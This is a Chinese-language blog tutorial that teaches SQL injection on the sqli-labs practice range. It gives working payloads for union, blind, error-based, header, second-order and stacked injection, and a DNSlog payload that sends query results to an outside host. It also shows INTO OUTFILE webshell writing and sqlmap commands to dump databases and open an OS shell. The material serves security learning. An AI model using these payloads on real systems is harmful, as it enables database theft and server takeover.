阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf
在owasp 漏洞 top 10 中,注入漏洞常年位居榜首。注入漏洞可谓是网站安全隐患的头号大敌。
什么是注入漏洞:攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能SQL查询、LDAP查询、OS命令、程序参数等中出现。
这里主要说的是sql注入
在mysql(版本>5.0)数据库中,information_schema库是默认的存放数据库各种信息的库。
1.安装phpstudy(集成开发环境)
下载地址:https://www.xp.cn/download.html
下载2018版比较好用,最新版会报错
安装过程略。。。都是下一步
2.安装靶场
靶场下载地址:https://github.com/Audi-1/sqli-labs
运行phpstudy,运行wnmp
在网站界面,点击默认网站的管理,打开根目录,将靶场解压到这里,
在下图文件中修改数据库的用户密码为你的数据库用户吗密码:
然后重启,浏览器输入:http://127.0.0.1/sqli-labs-master/ 访问
然后点击图中按钮,初始化数据和表。
这里使用浏览器为firework,下载地址:
链接:https://pan.baidu.com/s/1h-wg50kL4wt9HwlSOJbDqA
提取码:ht6a
失效留言。
sql中字符都是 ’ ’ 符号 包裹,在参数后面加上’来判断是否是字符型,发送请求看是否报错
或者用 and 1=1 和 and 1=2 来判断
# 的转义为%23 如果存在注入漏洞,可以将语句后面的内容注释掉
例如:http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘%23
先按照字符型尝试,如果还是报错,说明是数据型,可以用公式进行判断
例如:http://127.0.0.1/sqli-labs-master/Less-2/?id=2-1
在搜索是加上模糊查询,
如:xxxx ‘and 1=1 and ‘%’=’
MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
这里需要注意,union的查询的列数必须严格相等
因此首先荣order by x 判断一下有多少个列
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
然后再用union测试
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,3 --+
当然也可以查询一些其他信息,
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,database(),version() --+
还可以查询数据库中的所有表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(’
’,table_name),version() from information_schema.tables where table_schema = database() --+
查询其中一个表的字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(’
’,column_name),version() from information_schema.columns where table_name = ‘users’ --+
在然后就可以查询出这个表中的所有内容:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(’|’,username),group_concat("|",password) from users --+
如下图
在注入中,也可以使用union all select 它和 union select,没有什么区别,但能跳过某感谢waf
we的页面信息都是返回一些true或者false,所有布尔盲注,就是一种根据返回值的到数据库信息的方法。
使用场景
测试
靶场第八关
1.判断数据库长度
http://127.0.0.1/sqli-labs-master/Less-8/?id=1’ and (length(database())=8) --+
2.获取数据库的名称
依次查询数据库名称的每个位,直到查询出结果
http://127.0.0.1/sqli-labs-master/Less-8/?id=1’ and (ord(substr(database(),1,1))=115)–+
3.burpsuite扫描
手动一个个试,当然是不科学的。这里使用burpsuite,intruder模块自动完成
不了解和不会用burpsuite的可以参考之前的文章:https://blog.csdn.net/qq_25490573/article/details/107674427
首先给浏览器设置一个代理,代理到burpsuite的proxy上,代理设置参考下图。
在burp中截取一个请求,send to intruder 模块,然后设置positions为下图
设置payloads,为下图
然后start attack 开始
在结果中找到那个与众不同的,就是正确的数字,然后找到对应asii码即可,
遍历完所有的长度之后,就能够知道数据库的名字,然后安装union中的查找方式,先找库名称,再找表名称,再找字段名称,依次类推,然后查询到所有结果
当union注入和bool注入无法使用时,就需要使用时间盲注了
实战靶场第九关
主要是用到if 和sleep,看界面响应时间,如:
获取数据库长度
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(length(database())>8,sleep(5),1) --+
如果长度大于8,则sleep5秒,否则直接返回
然后在依次获取名称
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if((ord(substr(database(),1,1))=115),sleep(5),1) --+
接下来的步骤和布尔盲注一样,获取数据库名,表名,字段名。。。
测试一些网站的时候,一些注入都是无回显的,手工盲注效率太低,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,虽然可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。
首先有一个可以用于dns解析的域名,比如ceye.io。通过代理商设置域名ceye.io的nameserver为自己的服务器a,再在服务器a上配置好dns服务器,这样所有ceye.io及其子域名的查询都会到服务器a上,这时就能实时监控域名查询请求。
这时,网站服务器会去指定的dns服务器上去解析域名,请求包中拼接了我们想要查询的语句的执行结果(把信息放在高级域名中,数据库的执行结果被拼接到域名解析的高级域名中),这样就能简介看到回显结果。
mysql.ini的 secure_file_priv 设置必须为空
secure_file_priv 为/tmp,意为只能在/tmp目录下进行导入导出,为空时则不限制
根据原理,我们需要一个dsn server 作为检测带外(Out-of-Band)流量的监控平台
首先去http://ceye.io/平台注册一个账号,然后查看自己的identitler,如图
将下面命令中的27epx0.ceye.io替换为上图中的内容
?id=1' and load_file(concat('\\\\',(select database()),'.27epx0.ceye.io\\abc'))--+
然后发起请求,就可以在平台的DNS Query中看到附带的请求
红框中的内容就是我们select database()的内容。
想获取别的信息,可以通过修改替换select database()命令实现
报错注入,就是利用数据库的错误机制,人为的制造错误,使查询结果能够出现在报错信息中心,这种手段在联合查询和能返回错误信息的情况下比较好用。
注意:要能够看到报错信息才能够使用报错注入
payload:
?id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
更多报错注入参考
https://blog.csdn.net/whatday/article/details/63683187
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码,所以这个技巧基本没什么d用
有兴趣可以去靶场36关练习一下
普通注入是直接进入到sql查询中,而二次注入则是输入数据,经过处理,存储,取出后 再次进入到sql查询。
练习使用靶场24关
一般情况下,我们修改密码的语句如下:
update user set password = ‘xxx’ where username = ‘xxxx’ and password = ‘xxxx’
如果我们的用户名是admin’#,则上面的语句变成
update user set password = ‘xxx’ where username = ‘admin’#’ and password = ‘xxxx’
则能够将管理员的账户密码修改成我们设置的面,危害十分巨大。
类似的还有多种方式,重要的是如何巧妙地利用这种方式
http协议中的header会存放很多有用的信息,这些信息往往被用于sql查询,所有可以通过修改头部达成sql注入。
靶场18关
首先burp捕获一次登录。
然后将 host 和 user-agent 依次修改为 1‘
发现当user-agent 修改为 1’ 时,提示错误,说明此字段参与了sql操作,且存在注入漏洞
然后修改user-agent 为
1'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1' = '1
再次发起请求,就会发现,红框中的内容,接下来,就可以 嘿嘿嘿 ~~~
常见的http头注入主要是以下字段
host cookie referer user-agent accept 等
通常sql语句由;结尾。
而多个sql语句以;分割,一起执行,就是堆叠注入。
有局限性。
如果存在堆叠注入漏洞,
可以通过类似于下面的命令,查看,插入,删除,修改各种信息
?id=1’; insert into users(username,password) values(‘wd’,‘123456’) --+
如果利用堆叠漏洞,我们就需要知道对方数据库的一些信息,比如说,数据库的名字,表的名字
那么问题来,如何获取这些信息那
上面的注入方式主要是手动注入,而sqlmap能自动帮助我们完成这些功能
sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
sqlmap是py开发的,运行需要py环境。
下载网址;http://sqlmap.org/
kali系统中自带了sqlmap。这里使用kali带的sqlmap,目标为主机靶场
简单测试,输入如下命令,根据他反馈的信息进行y或n,结果如下图
//语法格式: sqlmap -u "url"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1"
这里可以看到,显示type 可以进行布尔,错误,时间,union注入
发现错误后可以进行如下操作
//获取所有数据库名称 语法格式: sqlmap -u "url" --dbs
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbs
//获取当前正在使用的数据库 : sqlmap -u "url" --current-db
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --current-db
//获取某个库下面的表 : sqlmap -u "url" -D "数据库名称" --tables
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" --tables
//获取那个库那张表的字段 :sqlmap -u "url" -D "数据库名称" -T "表名1,表名2" --columns
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" --columns
//获取那个库那个表的数据 :sqlmap -u "url" -D "库名" -T "表名" -C "字段1,字段2,字段3" --dump
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" -C "id,password,username" --dump
通过上面的一些列操作就可以拿到真正的数据,
或者进行一下其他操作
//拖库 :sqlmap -u "url" --dump-all
//不建议进行这个操作
//获取当前用户名称 : sqlmap -u "url" --current-user
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --current-user
//指定文件检测注入 : sqlmap -r xxx.txt
//将一个请求用burp等工具截获,然后粘贴整个请求到一个xxx.txt钟,然后用这个文件进行注入测试
//指定数据库类型注入 :sqlmap -u "url" --dbms "mysql"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbms "mysql"
//post请求时,指定那个参数进行注入: sqlmap -r xxx.txt -p "参数名"
//或者: sqlmap -u "url" --method POST --data "id=1"
//指定cookie : sqlmap -u "url" --cookie "id=1"
//指定referer : sqlmap -u "url" --referer "http://www.xxxx.com"
//指定user-agent: sqlmap -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
//随机的ua头 : sqlmap -u "url" --random-agent
//指定代理: sqlmap -u "url" --proxy "http://192.168.10.106:3128"
//获取指定为:sqlmap -u "url" --proxy "socks5://192.168.10.106:3128"
//指定多线程:sqlmap -u "url" --threads 3
//指定操作系统 :sqlmap -u "url" –os "Windows"
//自动搜索表单并进行测试注入: sqlmap -u "url" --forms
//检查宽字节注入: sqlmap -u "url" --tamper unmagicquotes
//判断当前用户是否具有管理员权限 sqlmap -u "url" --is-dba
//清楚缓存(尽量不要敲) : sqlmap -u "url" --flush
//采用默认设置,不提示输入y或n : sqlmap -u "url" --batch
我们还可以显示sqlmap 输出信息的级别,用-v 级别 指定
sqlmap -u "url" -v 4
我们还能指定测试强度 --level 等级 共5级
sqlmap -u "url" --level 2
我们还能指定测试风险 --risk 等级 共四级
sqlmap -u "url" --risk 2
默写网站存在伪静态注入,例如:www.xxx.com/index.php/new/id/203.html
如果203.html处存在一个数据库交互,则利用下面的方式注入
//203*.html 用sqlmap 测试伪静态注入
sqlmap -u "www.xxx.com/index.php/new/id/203*.html"
sqlmap -u "www.xxx.com/index.php/new/id/10*"
如果我们能够获取目标的一些文件的绝对路径,则可以搭配union漏洞获取文件内容,网站源码。
前提条件是,数据库配置文件中的 secure_file_priv为空
secure_file_priv=
将这个配置粘贴到mysql.ini中
然后使用load_file加载处网站源码 如:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,'haha', load_file('D:/phpstudy_pro/WWW/sqli-labs-master/Less-1/index.php')--+
就可以将.php文件加载出来
当然,我们能加载文件,就能写入文件,使用 inot outfile() 写入代码,或者是一句话木马等 如:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/test.php' --+
此时,打开http://127.0.0.1/test.php ,就可以看到如下图信息
上面的操作也可以用 sqlmap实现
//读取文件 :sqlmap -u "url" --file-read "文件路径"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --dbms="mysql" --file-read="D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php"
完成后 在info中会提示文件生成位置,如图:
打开这个文件就能看到,完成的文件内容
当然也可以写入文件,先准备一个要写入的文件,然后把这个文件写入到目标地址。
//写入文件 :sqlmap -u "url" --file-write "要写入的文件路径" --file-dest "写入目标路径"
sqlmap -u "http://192.168.10.106/sqli-labs-master/Less-1/?id=1" --file-write="file.php" --file-dest "D:/phpStudy/PHPTutorial/WWW/file.php"
当然,我们还能执行更骚气的操作,直接拿到对方的shell,命令如下
sqlmap -u "url" --os-shell
首先选择对方网站语言
然后选择目录
这里选择2,然后输入对方反震的根路径路径,这里输入:D:/phpStudy/PHPTutorial/WWW/sqli-labs-master
在之后就可以进入shell了,如图
未完待续。。。